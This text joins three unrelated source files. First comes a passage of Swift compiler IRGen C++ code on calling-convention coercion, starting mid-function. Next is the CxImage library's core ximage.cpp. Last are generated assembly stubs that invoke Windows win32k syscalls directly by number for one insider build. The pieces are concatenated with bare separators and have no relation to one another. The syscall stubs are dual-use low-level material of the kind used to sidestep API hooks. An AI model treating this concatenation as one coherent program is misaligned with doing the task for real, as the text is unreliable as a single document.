} else if (DataLayout.getTypeSizeInBits(schemaTy) ==
DataLayout.getTypeSizeInBits(nativeTy))
elt = IGF.coerceValue(elt, schemaTy, DataLayout);
else {
assert(DataLayout.getTypeSizeInBits(schemaTy) <
DataLayout.getTypeSizeInBits(nativeTy));
elt = IGF.Builder.CreateTrunc(elt, schemaTy);
}
nonNativeExplosion.add(elt);
}
return nonNativeExplosion;
}
// If not, go through memory.
auto &loadableTI = cast<LoadableTypeInfo>(TI);
// We can get two layouts if there are overlapping ranges in the legal type
// sequence.
llvm::StructType *coercionTy, *overlappedCoercionTy;
SmallVector<unsigned, 8> expandedTyIndicesMap;
std::tie(coercionTy, overlappedCoercionTy) =
getCoercionTypes(IGM, expandedTyIndicesMap);
// Get the larger layout out of those two.
auto coercionSize = DataLayout.getTypeSizeInBits(coercionTy);
auto overlappedCoercionSize =
DataLayout.getTypeSizeInBits(overlappedCoercionTy);
llvm::StructType *largerCoercion = coercionSize >= overlappedCoercionSize
? coercionTy
: overlappedCoercionTy;
// Allocate a temporary for the coercion.
Address temporary;
Size tempSize;
std::tie(temporary, tempSize) = allocateForCoercion(
IGF, largerCoercion, loadableTI.getStorageType(), "temp-coercion");
// Make sure we have sufficiently large alignment.
adjustAllocaAlignment(DataLayout, temporary, coercionTy);
adjustAllocaAlignment(DataLayout, temporary, overlappedCoercionTy);
auto &Builder = IGF.Builder;
Builder.CreateLifetimeStart(temporary, tempSize);
// Store the expanded type elements.
auto coercionAddr = Builder.CreateElementBitCast(temporary, coercionTy);
unsigned expandedMapIdx = 0;
SmallVector<llvm::Value *, 8> expandedElts(expandedTys.size(), nullptr);
auto eltsArray = native.claimAll();
SmallVector<llvm::Value *, 8> nativeElts(eltsArray.begin(), eltsArray.end());
auto storeToFn = [&](llvm::StructType *ty, Address structAddr) {
for (auto eltIndex : indices(ty->elements())) {
auto layout = DataLayout.getStructLayout(ty);
auto eltTy = ty->getElementType(eltIndex);
// Skip padding fields.
if (eltTy->isArrayTy())
continue;
Address eltAddr = Builder.CreateStructGEP(structAddr, eltIndex, layout);
auto index = expandedTyIndicesMap[expandedMapIdx];
assert(index < nativeElts.size() && nativeElts[index] != nullptr);
auto nativeElt = nativeElts[index];
Builder.CreateStore(nativeElt, eltAddr);
nativeElts[index] = nullptr;
++expandedMapIdx;
}
};
storeToFn(coercionTy, coercionAddr);
if (!overlappedCoercionTy->isEmptyTy()) {
auto overlappedCoercionAddr =
Builder.CreateElementBitCast(temporary, overlappedCoercionTy);
storeToFn(overlappedCoercionTy, overlappedCoercionAddr);
}
// Reload according to the types schema.
Address storageAddr = Builder.CreateBitCast(
temporary, loadableTI.getStorageType()->getPointerTo());
loadableTI.loadAsTake(IGF, storageAddr, nonNativeExplosion);
Builder.CreateLifetimeEnd(temporary, tempSize);
return nonNativeExplosion;
}
Explosion NativeConventionSchema::mapIntoNative(IRGenModule &IGM,
IRGenFunction &IGF,
Explosion &fromNonNative,
SILType type,
bool isOutlined) const {
if (fromNonNative.empty()) {
assert(empty() && "Empty explosion must match the native convention");
return Explosion();
}
assert(!requiresIndirect() && "Expected direct convention");
assert(!empty());
auto *nativeTy = getExpandedType(IGM);
auto expandedTys = expandScalarOrStructTypeToArray(nativeTy);
auto &TI = IGM.getTypeInfo(type);
auto schema = TI.getSchema();
auto *explosionTy = schema.getScalarResultType(IGM);
// Check whether we can coerce the explosion to the expected type convention.
auto &DataLayout = IGM.DataLayout;
Explosion nativeExplosion;
if (canCoerceToSchema(IGM, expandedTys, schema)) {
if (fromNonNative.size() == 1) {
auto *elt = fromNonNative.claimNext();
if (nativeTy != elt->getType()) {
if (isa<llvm::IntegerType>(nativeTy) &&
isa<llvm::IntegerType>(elt->getType()))
elt = IGF.Builder.CreateZExt(elt, nativeTy);
else
elt = IGF.coerceValue(elt, nativeTy, DataLayout);
}
nativeExplosion.add(elt);
return nativeExplosion;
} else if (nativeTy == explosionTy) {
fromNonNative.transferInto(nativeExplosion, fromNonNative.size());
return nativeExplosion;
}
// Otherwise, we have to go through memory if we can't match by truncation.
} else if (canMatchByTruncation(IGM, expandedTys, schema)) {
assert(expandedTys.size() == schema.size());
for (size_t i = 0, e = expandedTys.size(); i != e; ++i) {
auto *elt = fromNonNative.claimNext();
auto *schemaTy = elt->getType();
auto *nativeTy = expandedTys[i];
assert(schema[i].getScalarType() == schemaTy);
if (schemaTy == nativeTy) {
// elt = elt
} else if (DataLayout.getTypeSizeInBits(schemaTy) ==
DataLayout.getTypeSizeInBits(nativeTy))
elt = IGF.coerceValue(elt, nativeTy, DataLayout);
else {
assert(DataLayout.getTypeSizeInBits(schemaTy) <
DataLayout.getTypeSizeInBits(nativeTy));
elt = IGF.Builder.CreateZExt(elt, nativeTy);
}
nativeExplosion.add(elt);
}
return nativeExplosion;
}
// If not, go through memory.
auto &loadableTI = cast<LoadableTypeInfo>(TI);
// We can get two layouts if there are overlapping ranges in the legal type
// sequence.
llvm::StructType *coercionTy, *overlappedCoercionTy;
SmallVector<unsigned, 8> expandedTyIndicesMap;
std::tie(coercionTy, overlappedCoercionTy) =
getCoercionTypes(IGM, expandedTyIndicesMap);
// Get the larger layout out of those two.
auto coercionSize = DataLayout.getTypeSizeInBits(coercionTy);
auto overlappedCoercionSize =
DataLayout.getTypeSizeInBits(overlappedCoercionTy);
llvm::StructType *largerCoercion = coercionSize >= overlappedCoercionSize
? coercionTy
: overlappedCoercionTy;
// Allocate a temporary for the coercion.
Address temporary;
Size tempSize;
std::tie(temporary, tempSize) = allocateForCoercion(
IGF, largerCoercion, loadableTI.getStorageType(), "temp-coercion");
// Make sure we have sufficiently large alignment.
adjustAllocaAlignment(DataLayout, temporary, coercionTy);
adjustAllocaAlignment(DataLayout, temporary, overlappedCoercionTy);
auto &Builder = IGF.Builder;
Builder.CreateLifetimeStart(temporary, tempSize);
// Initialize the memory of the temporary.
Address storageAddr = Builder.CreateBitCast(
temporary, loadableTI.getStorageType()->getPointerTo());
loadableTI.initialize(IGF, fromNonNative, storageAddr, isOutlined);
// Load the expanded type elements from memory.
auto coercionAddr = Builder.CreateElementBitCast(temporary, coercionTy);
unsigned expandedMapIdx = 0;
SmallVector<llvm::Value *, 8> expandedElts(expandedTys.size(), nullptr);
auto loadFromFn = [&](llvm::StructType *ty, Address structAddr) {
for (auto eltIndex : indices(ty->elements())) {
auto layout = DataLayout.getStructLayout(ty);
auto eltTy = ty->getElementType(eltIndex);
// Skip padding fields.
if (eltTy->isArrayTy())
continue;
Address eltAddr = Builder.CreateStructGEP(structAddr, eltIndex, layout);
llvm::Value *elt = Builder.CreateLoad(eltAddr);
auto index = expandedTyIndicesMap[expandedMapIdx];
assert(expandedElts[index] == nullptr);
expandedElts[index] = elt;
++expandedMapIdx;
}
};
loadFromFn(coercionTy, coercionAddr);
if (!overlappedCoercionTy->isEmptyTy()) {
auto overlappedCoercionAddr =
Builder.CreateElementBitCast(temporary, overlappedCoercionTy);
loadFromFn(overlappedCoercionTy, overlappedCoercionAddr);
}
Builder.CreateLifetimeEnd(temporary, tempSize);
// Add the values to the explosion.
for (auto *val : expandedElts)
nativeExplosion.add(val);
assert(expandedTys.size() == nativeExplosion.size());
return nativeExplosion;
}
void IRGenFunction::emitScalarReturn(SILType resultType, Explosion &result,
bool isSwiftCCReturn, bool isOutlined) {
if (result.empty()) {
assert(IGM.getTypeInfo(resultType).nativeReturnValueSchema(IGM).empty() &&
"Empty explosion must match the native calling convention");
Builder.CreateRetVoid();
return;
}
// In the native case no coercion is needed.
if (isSwiftCCReturn) {
auto &nativeSchema =
IGM.getTypeInfo(resultType).nativeReturnValueSchema(IGM);
assert(!nativeSchema.requiresIndirect());
Explosion native =
nativeSchema.mapIntoNative(IGM, *this, result, resultType, isOutlined);
if (native.size() == 1) {
Builder.CreateRet(native.claimNext());
return;
}
llvm::Value *nativeAgg =
llvm::UndefValue::get(nativeSchema.getExpandedType(IGM));
for (unsigned i = 0, e = native.size(); i != e; ++i) {
llvm::Value *elt = native.claimNext();
nativeAgg = Builder.CreateInsertValue(nativeAgg, elt, i);
}
Builder.CreateRet(nativeAgg);
return;
}
// Otherwise we potentially need to coerce the type. We don't need to go
// through the mapping to the native calling convention.
auto *ABIType = CurFn->getReturnType();
if (result.size() == 1) {
auto *returned = result.claimNext();
if (ABIType != returned->getType())
returned = coerceValue(returned, ABIType, IGM.DataLayout);
Builder.CreateRet(returned);
return;
}
auto &resultTI = IGM.getTypeInfo(resultType);
auto schema = resultTI.getSchema();
auto *bodyType = schema.getScalarResultType(IGM);
// Multiple return values are returned as a struct.
assert(cast<llvm::StructType>(bodyType)->getNumElements() == result.size());
llvm::Value *resultAgg = llvm::UndefValue::get(bodyType);
for (unsigned i = 0, e = result.size(); i != e; ++i) {
llvm::Value *elt = result.claimNext();
resultAgg = Builder.CreateInsertValue(resultAgg, elt, i);
}
if (ABIType != bodyType)
resultAgg = coerceValue(resultAgg, ABIType, IGM.DataLayout);
Builder.CreateRet(resultAgg);
}
/// Modify the given variable to hold a pointer whose type is the
/// LLVM lowering of the given function type, and return the signature
/// for the type.
static Signature emitCastOfFunctionPointer(IRGenFunction &IGF,
llvm::Value *&fnPtr,
CanSILFunctionType fnType) {
// Figure out the function type.
auto sig = IGF.IGM.getSignature(fnType);
// Emit the cast.
fnPtr = IGF.Builder.CreateBitCast(fnPtr, sig.getType()->getPointerTo());
// Return the information.
return sig;
}
Callee irgen::getBlockPointerCallee(IRGenFunction &IGF,
llvm::Value *blockPtr,
CalleeInfo &&info) {
// Grab the block pointer and make it the first physical argument.
llvm::PointerType *blockPtrTy = IGF.IGM.ObjCBlockPtrTy;
auto castBlockPtr = IGF.Builder.CreateBitCast(blockPtr, blockPtrTy);
// Extract the invocation pointer for blocks.
auto blockStructTy = blockPtrTy->getElementType();
llvm::Value *invokeFnPtrPtr =
IGF.Builder.CreateStructGEP(blockStructTy, castBlockPtr, 3);
Address invokeFnPtrAddr(invokeFnPtrPtr, IGF.IGM.getPointerAlignment());
llvm::Value *invokeFnPtr = IGF.Builder.CreateLoad(invokeFnPtrAddr);
auto sig = emitCastOfFunctionPointer(IGF, invokeFnPtr, info.OrigFnType);
FunctionPointer fn(invokeFnPtr, sig);
return Callee(std::move(info), fn, blockPtr);
}
Callee irgen::getSwiftFunctionPointerCallee(
IRGenFunction &IGF, llvm::Value *fnPtr, llvm::Value *dataPtr,
CalleeInfo &&calleeInfo, bool castOpaqueToRefcountedContext) {
auto sig = emitCastOfFunctionPointer(IGF, fnPtr, calleeInfo.OrigFnType);
FunctionPointer fn(fnPtr, sig);
if (castOpaqueToRefcountedContext) {
assert(dataPtr && dataPtr->getType() == IGF.IGM.OpaquePtrTy &&
"Expecting trivial closure context");
dataPtr = IGF.Builder.CreateBitCast(dataPtr, IGF.IGM.RefCountedPtrTy);
}
return Callee(std::move(calleeInfo), fn, dataPtr);
}
Callee irgen::getCFunctionPointerCallee(IRGenFunction &IGF,
llvm::Value *fnPtr,
CalleeInfo &&calleeInfo) {
auto sig = emitCastOfFunctionPointer(IGF, fnPtr, calleeInfo.OrigFnType);
FunctionPointer fn(fnPtr, sig);
return Callee(std::move(calleeInfo), fn);
}
FunctionPointer
FunctionPointer::forDirect(IRGenModule &IGM, llvm::Constant *fnPtr,
CanSILFunctionType fnType) {
return forDirect(fnPtr, IGM.getSignature(fnType));
}
FunctionPointer
FunctionPointer::forExplosionValue(IRGenFunction &IGF, llvm::Value *fnPtr,
CanSILFunctionType fnType) {
// Bitcast out of an opaque pointer type.
assert(fnPtr->getType() == IGF.IGM.Int8PtrTy);
auto sig = emitCastOfFunctionPointer(IGF, fnPtr, fnType);
return FunctionPointer(fnPtr, sig);
}
llvm::Value *
FunctionPointer::getExplosionValue(IRGenFunction &IGF,
CanSILFunctionType fnType) const {
// Bitcast to an opaque pointer type.
llvm::Value *fnPtr =
IGF.Builder.CreateBitCast(getPointer(), IGF.IGM.Int8PtrTy);
return fnPtr;
}
|
// ximage.cpp : main implementation file
/* 07/08/2001 v1.00 - Davide Pizzolato - www.xdp.it
* CxImage version 5.99c 17/Oct/2004
*/
#include "ximage.h"
////////////////////////////////////////////////////////////////////////////////
// CxImage
////////////////////////////////////////////////////////////////////////////////
/**
* Initialize the internal structures
*/
void CxImage::Startup(DWORD imagetype)
{
//init pointers
pDib = pSelection = pAlpha = NULL;
pLayers = NULL;
//init structures
memset(&head,0,sizeof(BITMAPINFOHEADER));
memset(&info,0,sizeof(CXIMAGEINFO));
//init default attributes
info.dwType = imagetype;
info.nQuality = 90;
info.nAlphaMax = 255;
info.nBkgndIndex = -1;
info.bEnabled = true;
SetXDPI(96);
SetYDPI(96);
}
////////////////////////////////////////////////////////////////////////////////
/**
* Empty image constructor
* \param imagetype: (optional) set the image format, see ENUM_CXIMAGE_FORMATS
*/
CxImage::CxImage(DWORD imagetype)
{
Startup(imagetype);
}
////////////////////////////////////////////////////////////////////////////////
/**
* Call this function to destroy image pixels, alpha channel, selection and sub layers.
* - Attributes are not erased, but IsValid returns false.
*
* \return true if everything is freed, false if the image is a Ghost
*/
bool CxImage::Destroy()
{
//free this only if it's valid and it's not a ghost
if (info.pGhost==NULL){
if (pLayers) {
for(long n=0; n<info.nNumLayers;n++){ delete pLayers[n]; }
free(pLayers); pLayers=0;
}
if (pSelection) {free(pSelection); pSelection=0;}
if (pAlpha) {free(pAlpha); pAlpha=0;}
if (pDib) {free(pDib); pDib=0;}
return true;
}
return false;
}
////////////////////////////////////////////////////////////////////////////////
/**
* Sized image constructor
* \param dwWidth: width
* \param dwHeight: height
* \param wBpp: bit per pixel, can be 1, 4, 8, 24
* \param imagetype: (optional) set the image format, see ENUM_CXIMAGE_FORMATS
*/
CxImage::CxImage(DWORD dwWidth, DWORD dwHeight, DWORD wBpp, DWORD imagetype)
{
Startup(imagetype);
Create(dwWidth,dwHeight,wBpp,imagetype);
}
////////////////////////////////////////////////////////////////////////////////
/**
* image constructor from existing source
* \param src: source image.
* \param copypixels: copy the pixels from the source image into the new image.
* \param copyselection: copy the selection from source
* \param copyalpha: copy the alpha channel from source
* \sa Copy
*/
CxImage::CxImage(const CxImage &src, bool copypixels, bool copyselection, bool copyalpha)
{
Startup(src.GetType());
Copy(src,copypixels,copyselection,copyalpha);
}
////////////////////////////////////////////////////////////////////////////////
/**
* Copies the image from an exsisting source
* \param src: source image.
* \param copypixels: copy the pixels from the source image into the new image.
* \param copyselection: copy the selection from source
* \param copyalpha: copy the alpha channel from source
*/
void CxImage::Copy(const CxImage &src, bool copypixels, bool copyselection, bool copyalpha)
{
//copy the attributes
memcpy(&info,&src.info,sizeof(CXIMAGEINFO));
//rebuild the image
Create(src.GetWidth(),src.GetHeight(),src.GetBpp(),src.GetType());
//copy the pixels and the palette, or at least copy the palette only.
if (copypixels && pDib && src.pDib) memcpy(pDib,src.pDib,GetSize());
else SetPalette(src.GetPalette());
long nSize = head.biWidth * head.biHeight;
//copy the selection
if (copyselection && src.pSelection){
if (pSelection) free(pSelection);
pSelection = (BYTE*)malloc(nSize);
memcpy(pSelection,src.pSelection,nSize);
}
//copy the alpha channel
if (copyalpha && src.pAlpha){
if (pAlpha) free(pAlpha);
pAlpha = (BYTE*)malloc(nSize);
memcpy(pAlpha,src.pAlpha,nSize);
}
}
////////////////////////////////////////////////////////////////////////////////
/**
* Copies the image attributes from an existing image.
* - Works only on an empty image, and the image will be still empty.
* - <b> Use it before Create() </b>
*/
void CxImage::CopyInfo(const CxImage &src)
{
if (pDib==NULL) memcpy(&info,&src.info,sizeof(CXIMAGEINFO));
}
////////////////////////////////////////////////////////////////////////////////
/**
* \sa Copy
*/
CxImage& CxImage::operator = (const CxImage& isrc)
{
if (this != &isrc) Copy(isrc);
return *this;
}
////////////////////////////////////////////////////////////////////////////////
/**
* Initializes or rebuilds the image.
* \param dwWidth: width
* \param dwHeight: height
* \param wBpp: bit per pixel, can be 1, 4, 8, 24
* \param imagetype: (optional) set the image format, see ENUM_CXIMAGE_FORMATS
* \return pointer to the internal pDib object; NULL if an error occurs.
*/
void* CxImage::Create(DWORD dwWidth, DWORD dwHeight, DWORD wBpp, DWORD imagetype)
{
// destroy the existing image (if any)
if (!Destroy())
return NULL;
// prevent further actions if width or height are not vaild <Balabasnia>
if ((dwWidth == 0) || (dwHeight == 0)){
strcpy(info.szLastError,"CxImage::Create : width and height must be greater than zero");
return NULL;
}
// Make sure bits per pixel is valid
if (wBpp <= 1) wBpp = 1;
else if (wBpp <= 4) wBpp = 4;
else if (wBpp <= 8) wBpp = 8;
else wBpp = 24;
// limit memory requirements (and also a check for bad parameters)
if (((dwWidth*dwHeight*wBpp)>>8) > CXIMAGE_MAX_MEMORY){
strcpy(info.szLastError,"CXIMAGE_MAX_MEMORY exceeded");
return NULL;
}
// set the correct bpp value
switch (wBpp){
case 1:
head.biClrUsed = 2; break;
case 4:
head.biClrUsed = 16; break;
case 8:
head.biClrUsed = 256; break;
default:
head.biClrUsed = 0;
}
//set the common image informations
info.dwEffWidth = ((((wBpp * dwWidth) + 31) / 32) * 4);
info.dwType = imagetype;
// initialize BITMAPINFOHEADER
head.biSize = sizeof(BITMAPINFOHEADER); //<ralphw>
head.biWidth = dwWidth; // fill in width from parameter
head.biHeight = dwHeight; // fill in height from parameter
head.biPlanes = 1; // must be 1
head.biBitCount = (WORD)wBpp; // from parameter
head.biCompression = BI_RGB;
head.biSizeImage = info.dwEffWidth * dwHeight;
// head.biXPelsPerMeter = 0; See SetXDPI
// head.biYPelsPerMeter = 0; See SetYDPI
head.biClrImportant = 0;
pDib = malloc(GetSize()); // alloc memory block to store our bitmap
if (!pDib){
strcpy(info.szLastError,"CxImage::Create can't allocate memory");
return NULL;
}
//clear the palette
RGBQUAD* pal=GetPalette();
if (pal) memset(pal,0,GetPaletteSize());
//Destroy the existing selection
#if CXIMAGE_SUPPORT_SELECTION
if (pSelection) SelectionDelete();
#endif //CXIMAGE_SUPPORT_SELECTION
//Destroy the existing alpha channel
#if CXIMAGE_SUPPORT_ALPHA
if (pAlpha) AlphaDelete();
#endif //CXIMAGE_SUPPORT_ALPHA
// use our bitmap info structure to fill in first part of
// our DIB with the BITMAPINFOHEADER
BITMAPINFOHEADER* lpbi;
lpbi = (BITMAPINFOHEADER*)(pDib);
*lpbi = head;
info.pImage=GetBits();
return pDib; //return handle to the DIB
}
////////////////////////////////////////////////////////////////////////////////
/**
* \return pointer to the image pixels. <b> USE CAREFULLY </b>
*/
BYTE* CxImage::GetBits(DWORD row)
{
if (pDib){
if (row) {
if (row<(DWORD)head.biHeight){
return ((BYTE*)pDib + *(DWORD*)pDib + GetPaletteSize() + (info.dwEffWidth * row));
} else {
return NULL;
}
} else {
return ((BYTE*)pDib + *(DWORD*)pDib + GetPaletteSize());
}
}
return NULL;
}
////////////////////////////////////////////////////////////////////////////////
/**
* \return the size in bytes of the internal pDib object
*/
long CxImage::GetSize()
{
return head.biSize + head.biSizeImage + GetPaletteSize();
}
////////////////////////////////////////////////////////////////////////////////
/**
* Checks if the coordinates are inside the image
* \return true if x and y are both inside the image
*/
bool CxImage::IsInside(long x, long y)
{
return (0<=y && y<head.biHeight && 0<=x && x<head.biWidth);
}
////////////////////////////////////////////////////////////////////////////////
/**
* Sets the image bits to the specified value
* - for indexed images, the output color is set by the palette entries.
* - for RGB images, the output color is a shade of gray.
*/
void CxImage::Clear(BYTE bval)
{
if (pDib == 0) return;
if (GetBpp() == 1){
if (bval > 0) bval = 255;
}
if (GetBpp() == 4){
bval = (BYTE)(17*(0x0F & bval));
}
memset(info.pImage,bval,head.biSizeImage);
}
////////////////////////////////////////////////////////////////////////////////
/**
* Transfers the image from an existing source image. The source becomes empty.
* \return true if everything is ok
*/
bool CxImage::Transfer(CxImage &from)
{
if (!Destroy())
return false;
memcpy(&head,&from.head,sizeof(BITMAPINFOHEADER));
memcpy(&info,&from.info,sizeof(CXIMAGEINFO));
pDib = from.pDib;
pSelection = from.pSelection;
pAlpha = from.pAlpha;
pLayers = from.pLayers;
memset(&from.head,0,sizeof(BITMAPINFOHEADER));
memset(&from.info,0,sizeof(CXIMAGEINFO));
from.pDib = from.pSelection = from.pAlpha = NULL;
from.pLayers = NULL;
return true;
}
////////////////////////////////////////////////////////////////////////////////
/**
* (this) points to the same pDib owned by (*from), the image remains in (*from)
* but (this) has the access to the pixels. <b>Use carefully !!!</b>
*/
void CxImage::Ghost(CxImage *from)
{
if (from){
memcpy(&head,&from->head,sizeof(BITMAPINFOHEADER));
memcpy(&info,&from->info,sizeof(CXIMAGEINFO));
pDib = from->pDib;
pSelection = from->pSelection;
pAlpha = from->pAlpha;
pLayers = from->pLayers;
info.pGhost=from;
}
}
////////////////////////////////////////////////////////////////////////////////
/**
* turns a 16 or 32 bit bitfield image into a RGB image
*/
void CxImage::Bitfield2RGB(BYTE *src, WORD redmask, WORD greenmask, WORD bluemask, BYTE bpp)
{
switch (bpp){
case 16:
{
DWORD ns[3]={0,0,0};
// compute the number of shift for each mask
for (int i=0;i<16;i++){
if ((redmask>>i)&0x01) ns[0]++;
if ((greenmask>>i)&0x01) ns[1]++;
if ((bluemask>>i)&0x01) ns[2]++;
}
ns[1]+=ns[0]; ns[2]+=ns[1]; ns[0]=8-ns[0]; ns[1]-=8; ns[2]-=8;
// dword aligned width for 16 bit image
long effwidth2=(((head.biWidth + 1) / 2) * 4);
WORD w;
long y2,y3,x2,x3;
BYTE *p=info.pImage;
// scan the buffer in reverse direction to avoid reallocations
for (long y=head.biHeight-1; y>=0; y--){
y2=effwidth2*y;
y3=info.dwEffWidth*y;
for (long x=head.biWidth-1; x>=0; x--){
x2 = 2*x+y2;
x3 = 3*x+y3;
w = (WORD)(src[x2]+256*src[1+x2]);
p[ x3]=(BYTE)((w & bluemask)<<ns[0]);
p[1+x3]=(BYTE)((w & greenmask)>>ns[1]);
p[2+x3]=(BYTE)((w & redmask)>>ns[2]);
}
}
break;
}
case 32:
{
// dword aligned width for 32 bit image
long effwidth4 = head.biWidth * 4;
long y4,y3,x4,x3;
BYTE *p=info.pImage;
// scan the buffer in reverse direction to avoid reallocations
for (long y=head.biHeight-1; y>=0; y--){
y4=effwidth4*y;
y3=info.dwEffWidth*y;
for (long x=head.biWidth-1; x>=0; x--){
x4 = 4*x+y4;
x3 = 3*x+y3;
p[ x3]=src[ x4];
p[1+x3]=src[1+x4];
p[2+x3]=src[2+x4];
}
}
}
}
return;
}
////////////////////////////////////////////////////////////////////////////////
/**
* Creates an image from a generic buffer
* \param pArray: source memory buffer
* \param dwWidth: image width
* \param dwHeight: image height
* \param dwBitsperpixel: can be 1,4,8,24,32
* \param dwBytesperline: line alignment, in bytes, for a single row stored in pArray
* \param bFlipImage: tune this parameter if the image is upsidedown
* \return true if everything is ok
*/
bool CxImage::CreateFromArray(BYTE* pArray,DWORD dwWidth,DWORD dwHeight,DWORD dwBitsperpixel, DWORD dwBytesperline, bool bFlipImage)
{
if (pArray==NULL) return false;
if (!((dwBitsperpixel==1)||(dwBitsperpixel==4)||(dwBitsperpixel==8)||
(dwBitsperpixel==24)||(dwBitsperpixel==32))) return false;
if (!Create(dwWidth,dwHeight,dwBitsperpixel)) return false;
if (dwBitsperpixel<24) SetGrayPalette();
#if CXIMAGE_SUPPORT_ALPHA
if (dwBitsperpixel==32) AlphaCreate();
#endif //CXIMAGE_SUPPORT_ALPHA
BYTE *dst,*src;
for (DWORD y = 0; y<dwHeight; y++) {
dst = info.pImage + (bFlipImage?(dwHeight-1-y):y) * info.dwEffWidth;
src = pArray + y * dwBytesperline;
if (dwBitsperpixel==32){
for(DWORD x=0;x<dwWidth;x++){
*dst++=src[0];
*dst++=src[1];
*dst++=src[2];
#if CXIMAGE_SUPPORT_ALPHA
AlphaSet(x,y,src[3]);
#endif //CXIMAGE_SUPPORT_ALPHA
src+=4;
}
} else {
memcpy(dst,src,min(info.dwEffWidth,dwBytesperline));
}
}
return true;
}
////////////////////////////////////////////////////////////////////////////////
/**
* \sa CreateFromArray
*/
bool CxImage::CreateFromMatrix(BYTE** ppMatrix,DWORD dwWidth,DWORD dwHeight,DWORD dwBitsperpixel, DWORD dwBytesperline, bool bFlipImage)
{
if (ppMatrix==NULL) return false;
if (!((dwBitsperpixel==1)||(dwBitsperpixel==4)||(dwBitsperpixel==8)||
(dwBitsperpixel==24)||(dwBitsperpixel==32))) return false;
if (!Create(dwWidth,dwHeight,dwBitsperpixel)) return false;
if (dwBitsperpixel<24) SetGrayPalette();
#if CXIMAGE_SUPPORT_ALPHA
if (dwBitsperpixel==32) AlphaCreate();
#endif //CXIMAGE_SUPPORT_ALPHA
BYTE *dst,*src;
for (DWORD y = 0; y<dwHeight; y++) {
dst = info.pImage + (bFlipImage?(dwHeight-1-y):y) * info.dwEffWidth;
src = ppMatrix[y];
if (src){
if (dwBitsperpixel==32){
for(DWORD x=0;x<dwWidth;x++){
*dst++=src[0];
*dst++=src[1];
*dst++=src[2];
#if CXIMAGE_SUPPORT_ALPHA
AlphaSet(x,y,src[3]);
#endif //CXIMAGE_SUPPORT_ALPHA
src+=4;
}
} else {
memcpy(dst,src,min(info.dwEffWidth,dwBytesperline));
}
}
}
return true;
}
////////////////////////////////////////////////////////////////////////////////
/**
* \return lightness difference between elem1 and elem2
*/
int CxImage::CompareColors(const void *elem1, const void *elem2)
{
RGBQUAD* c1 = (RGBQUAD*)elem1;
RGBQUAD* c2 = (RGBQUAD*)elem2;
int g1 = (int)RGB2GRAY(c1->rgbRed,c1->rgbGreen,c1->rgbBlue);
int g2 = (int)RGB2GRAY(c2->rgbRed,c2->rgbGreen,c2->rgbBlue);
return (g1-g2);
}
////////////////////////////////////////////////////////////////////////////////
/**
* simply calls "if (memblock) free(memblock);".
* Useful when calling Encode for a memory buffer,
* from a DLL compiled with different memory management options.
* CxImage::FreeMemory will use the same memory environment used by Encode.
*/
void CxImage::FreeMemory(void* memblock)
{
if (memblock)
free(memblock);
}
////////////////////////////////////////////////////////////////////////////////
//EOF
|
; DO NOT MODIFY THIS FILE DIRECTLY!
; author: @TinySecEx
; shadowssdt asm stub for 10.0.17025-sp0-windows-10-rs4-pre-17025 amd64
option casemap:none
option prologue:none
option epilogue:none
.code
; ULONG64 __stdcall NtUserGetOwnerTransformedMonitorRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetOwnerTransformedMonitorRect PROC STDCALL
mov r10 , rcx
mov eax , 4096
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetOwnerTransformedMonitorRect ENDP
; ULONG64 __stdcall NtUserYieldTask( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserYieldTask PROC STDCALL
mov r10 , rcx
mov eax , 4097
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserYieldTask ENDP
; ULONG64 __stdcall NtUserSetSensorPresence( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetSensorPresence PROC STDCALL
mov r10 , rcx
mov eax , 4098
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetSensorPresence ENDP
; ULONG64 __stdcall NtUserGetThreadState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetThreadState PROC STDCALL
mov r10 , rcx
mov eax , 4099
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetThreadState ENDP
; ULONG64 __stdcall NtUserPeekMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPeekMessage PROC STDCALL
mov r10 , rcx
mov eax , 4100
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPeekMessage ENDP
; ULONG64 __stdcall NtUserCallOneParam( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallOneParam PROC STDCALL
mov r10 , rcx
mov eax , 4101
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallOneParam ENDP
; ULONG64 __stdcall NtUserGetKeyState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetKeyState PROC STDCALL
mov r10 , rcx
mov eax , 4102
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetKeyState ENDP
; ULONG64 __stdcall NtUserInvalidateRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInvalidateRect PROC STDCALL
mov r10 , rcx
mov eax , 4103
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInvalidateRect ENDP
; ULONG64 __stdcall NtUserCallNoParam( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallNoParam PROC STDCALL
mov r10 , rcx
mov eax , 4104
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallNoParam ENDP
; ULONG64 __stdcall NtUserGetMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMessage PROC STDCALL
mov r10 , rcx
mov eax , 4105
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMessage ENDP
